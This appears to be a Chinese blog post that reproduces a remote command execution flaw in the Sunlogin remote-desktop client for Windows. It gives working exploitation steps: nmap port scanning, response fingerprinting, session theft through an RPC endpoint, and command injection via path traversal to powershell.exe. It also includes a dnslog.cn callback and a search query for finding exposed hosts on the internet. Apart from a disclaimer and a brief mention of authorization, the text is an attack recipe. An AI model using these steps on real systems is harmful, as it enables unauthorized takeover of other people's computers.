0x01 前言
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。
0x02 影响版本
● 向日葵个人版for Windows <= 11.0.0.33
● 向日葵简约版 <= V1.0.1.43315(2021.12)
之前刚揭露的时候是这个版本,实际应该不止,具体到那个版本也没有进行研究,只能通过漏洞进行验证了
0x03 环境搭建
具体的漏洞分析相关的就不做研究了,有兴趣的自行百度。
1.在虚拟机windows 10 上安装向日葵个人版本10.5.0.29613,在受影响范围内。

0x04 漏洞利用
1.启动软件,在攻击机上开启向日葵,连接靶机上的虚拟机上的向日葵,此时虚拟机上会开启大概七,八个4W+以上的高位端口,这端口就是我们要利用的端口了。
开启我们的端口扫描神器nmap,对准虚拟机上的4W+端口开启扫描,使用以下命令即可:
nmap -sS IP -p 40000-65535

从nmap扫描情况来看,service 的状态都是unknown,实际上基本都是http协议,个别情况下也是支持https协议的。
得到端口之后,需要拼接http://ip:端口,到浏览器进行访问,成功访问,并且返回关键字:Verification failure的端口即为可利用端口(多次复现后,发现一般是nmap扫描后得到的最后一个高位端口)

2."Verification failure"这个返回内容就是向日葵低版本启动的相关特征了,也可以说是作为一个web指纹来进行识别吧。
接下来讲如何去利用,得到这个特征之后我们可以根据改漏洞提供的接口,去识别向日葵的版本
(1)版本识别接口:/cgi-bin/rpc?action=login-type,可以精准识别到版本,使用的系统,mac地址

(2)如果使用的是windows 系统且,使用的版本在受影响的范围内,即可进行下一步利用。获取session,进行代码执行的利用,获取seesion接口:/cgi-bin/rpc?action=verify-haras,每次请求,都会得到新的session,但是都是可以利用的

(3)得到session后,就该考虑如何去利用了,得到session后,添加到请求头中,进行命令执行接口:/check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+whoami("+后 为所需执行的命令,以上的路径与powershell.exe存放的位置有关,64位的操作系统默认是以上位置,其余自行研究)
放在请求头中: Cookie: CID=session

如果执行代码可能由于一些waf拦截,导致没有回显的的话,可以考虑使用dnslog进行检测
/check?cmd=ping../../../windows/system32/windowspowershell/v1.0/powershell.exe+ping%20cka7g2.dnslog.cn
其他的骚利用姿势,欢迎大家进行讨论
(4)另外说一个接口/getfastcode,低版本向日葵可以通过该接口精准获取向日葵的识别码,但是获取不到验证码,因此也无法说直接进行利用,如果可以通过其他方式得到验证码的话,就能精准远控了

0x05 公网利用
利用某法,进行公网上开放的向日葵端口探测,这里就不放截图了,会的都会。
语法:body="Verification failure" && body="success"
接下来就可以进行漏洞检测了(注意要合法操作哦,在授权情况下进行)
0x06 结束语
至此漏洞复现完结,有其他建议或其他利用姿势的师傅,可在评论区留言谈论!!!